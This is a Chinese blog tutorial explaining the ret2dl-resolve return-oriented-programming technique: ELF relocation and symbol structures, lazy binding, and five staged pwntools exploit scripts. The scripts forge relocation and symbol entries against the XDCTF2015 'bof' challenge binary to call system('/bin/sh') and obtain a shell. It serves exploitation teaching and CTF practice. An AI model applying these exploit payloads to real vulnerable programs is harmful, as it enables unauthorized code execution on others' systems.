本文主要是从小白的角度来介绍ret2dl这个高级rop,由于我一开始学习pwn的时候不知道还有ctfwiki这种好东西,直接错过了好多栈的知识,但是由于近期要面试,要学习一遍。我会从博客更新进度
一:整体介绍 1.在学习ret2dl之前,需要学习一些前置知识,比如要了解Elf32_Sym,Elf32_Rel还有.rel.plt,.rel.dyn,.got,.got.plt,.dynsym以及.dynstr
2.还要知晓延迟绑定是怎么回事(也就是PLT表的由来),因为我们就是要伪造_dl_runtime_resolve的第二个参数,来控制Elf32_Rel指针,然后控制Elf32_Rel结构体内的r_info,从而继续控制Elf32_Sym结构体(Elf32_Sym[num]中的num对应着ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8),就能达到控制字符串的目的。
二:详细介绍 1.Elf32_Sym和Elf32_Rel都是结构体,下面我们来看看定义 1 2 3 4 5 6 7 8 9 typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;
1 2 3 4 typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;
程序会根据Elf32_Rel中的r_info来确定Elf32_Sym的下标
2..rel.plt和.rel.dyn .rel.plt节是用于函数重定位,.rel.dyn节是用于变量重定位
3..got和.got.plt .got保存全局变量偏移表,.got.plt保存全局函数偏移表,重要的一点是.got.plt中保存的是Elf32_Rel中的r_offset的值
4..dynsym和.dynstr .dynsym包含了动态链接符号表,也就是相当于一个Elf32_Sym结构体数组,.dynstr包含动态链接的字符串
三:伪造流程 我们要知道,ret2dl_resolve名字中之所以有dl_resolve是有原因的,就是通过伪造dl_runtime_resolve这个函数的第二个参数来让其错误解析函数地址,比如将write@plt解析成system的地址
当我们第一次call write时,也就是还没有延迟绑定的时候,got表内存放的是plt[0]的第二条指令,而plt[0]的第一条指令是跳转到got表。
1 2 3 4 5 write@plt: jmp *(write@GOT) push n push moduleID jump _dl_runtime_resolve
我们伪造第二个参数,然后程序会根据.rel.plt+第二个参数(偏移)找到该函数的Elf32_Rel指针(我们可以伪造这个偏移到一个我们可以控制的地方),然后再伪造Rel的r_info(r_info>>8就得到num),就可以控制Sym的下标以及Sym的st_name,最后就可以通过.dynstr+Elf32_Sym[num]->st_name找到我们需要的函数字符串
剩余部分明天再写,有点晚了,晚安! 四:具体过程 有一道题目看一下保护(根据ctfwiki)
是一个简单的栈溢出过程,溢出长度为112
stage1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *elf = ELF('bof' ) offset = 112 read_plt = elf.plt['read' ] write_plt = elf.plt['write' ] ppp_ret = 0x08048619 pop_ebp_ret = 0x0804861b leave_ret = 0x08048458 stack_size = 0x800 bss_addr = 0x0804a040 base_stage = bss_addr + stack_size r = process('./bof' ) r.recvuntil('Welcome to XDCTF2015~!\n' ) payload = 'A' * offset payload += p32(read_plt) payload += p32(pop_ret) payload += p32(0 ) payload += p32(base_stage) payload += p32(100 ) payload += p32(pop_ebp_ret) payload += p32(base_stage) payload += p32(leave_ret) r.sendline(payload) cmd = "/bin/sh" payload2 = 'AAAA' payload2 += p32(write_plt) payload2 += 'AAAA' payload2 += p32(1 ) payload2 += p32(base_stage + 80 ) payload2 += p32(len (cmd)) payload2 += 'A' * (80 - len (payload2)) payload2 += cmd + '\x00' payload2 += 'A' * (100 - len (payload2)) r.sendline(payload2) r.interactive()
结果输出”/bin/sh”
stage2 修改payload2,ret处为p32(plt_0),则会压入dl_runtime_resolve的参数,又因为是32位程序,所以会将p32(index_offset)是dl函数的第二个参数。也就相当于调用write函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 cmd = "/bin/sh" plt_0 = 0x08048380 # objdump -d -j .plt bof index_offset = 0x20 # write's index payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += 'AAAA' payload2 += p32(1) payload2 += p32(base_stage + 80) payload2 += p32(len(cmd)) payload2 += 'A' * (80 - len(payload2)) payload2 += cmd + '\x00' payload2 += 'A' * (100 - len(payload2)) r.sendline(payload2) r.interactive()
同样也会输出”/bin/sh”
stage3 伪造index_offset和fake_reloc,最终达到调用write的目的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 cmd = "/bin/sh" plt_0 = 0x08048380 rel_plt = 0x08048330 index_offset = (base_stage + 28 ) - rel_plt write_got = elf.got['write' ] r_info = 0x607 fake_reloc = p32(write_got) + p32(r_info) payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += 'AAAA' payload2 += p32(1 ) payload2 += p32(base_stage + 80 ) payload2 += p32(len (cmd)) payload2 += fake_reloc payload2 += 'A' * (80 - len (payload2)) payload2 += cmd + '\x00' payload2 += 'A' * (100 - len (payload2)) r.sendline(payload2) r.interactive()
输出”/bin/sh”
stage4 继stage3,继续伪造sym,使sym->st_name指向我们控制的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 cmd = "/bin/sh" plt_0 = 0x08048380 rel_plt = 0x08048330 index_offset = (base_stage + 28 ) - rel_plt write_got = elf.got['write' ] dynsym = 0x080481d8 dynstr = 0x08048278 fake_sym_addr = base_stage + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf ) fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 0x10 r_info = (index_dynsym << 8 ) | 0x7 fake_reloc = p32(write_got) + p32(r_info) st_name = 0x4c fake_sym = p32(st_name) + p32(0 ) + p32(0 ) + p32(0x12 ) payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += 'AAAA' payload2 += p32(1 ) payload2 += p32(base_stage + 80 ) payload2 += p32(len (cmd)) payload2 += fake_reloc payload2 += 'B' * align payload2 += fake_sym payload2 += 'A' * (80 - len (payload2)) payload2 += cmd + '\x00' payload2 += 'A' * (100 - len (payload2)) r.sendline(payload2) r.interactive()
输出”/bin/sh”
stage5 将dynstr+Elf32_sym[num]->st_name指向的字符串变为”system”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 cmd = "/bin/sh" plt_0 = 0x08048380 rel_plt = 0x08048330 index_offset = (base_stage + 28 ) - rel_plt write_got = elf.got['write' ] dynsym = 0x080481d8 dynstr = 0x08048278 fake_sym_addr = base_stage + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf ) fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 0x10 r_info = (index_dynsym << 8 ) | 0x7 fake_reloc = p32(write_got) + p32(r_info) st_name = (fake_sym_addr + 0x10 ) - dynstr fake_sym = p32(st_name) + p32(0 ) + p32(0 ) + p32(0x12 ) payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += 'AAAA' payload2 += p32(base_stage + 80 ) payload2 += 'aaaa' payload2 += 'aaaa' payload2 += fake_reloc payload2 += 'B' * align payload2 += fake_sym payload2 += "system\x00" payload2 += 'A' * (80 - len (payload2)) payload2 += cmd + '\x00' payload2 += 'A' * (100 - len (payload2)) r.sendline(payload2) r.interactive()
直接拿到shell
参考链接: https://markrepo.github.io/kernel/2018/08/19/dynamic-link/
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
http://www.wangqingzheng.com/anquanke/24/196624.html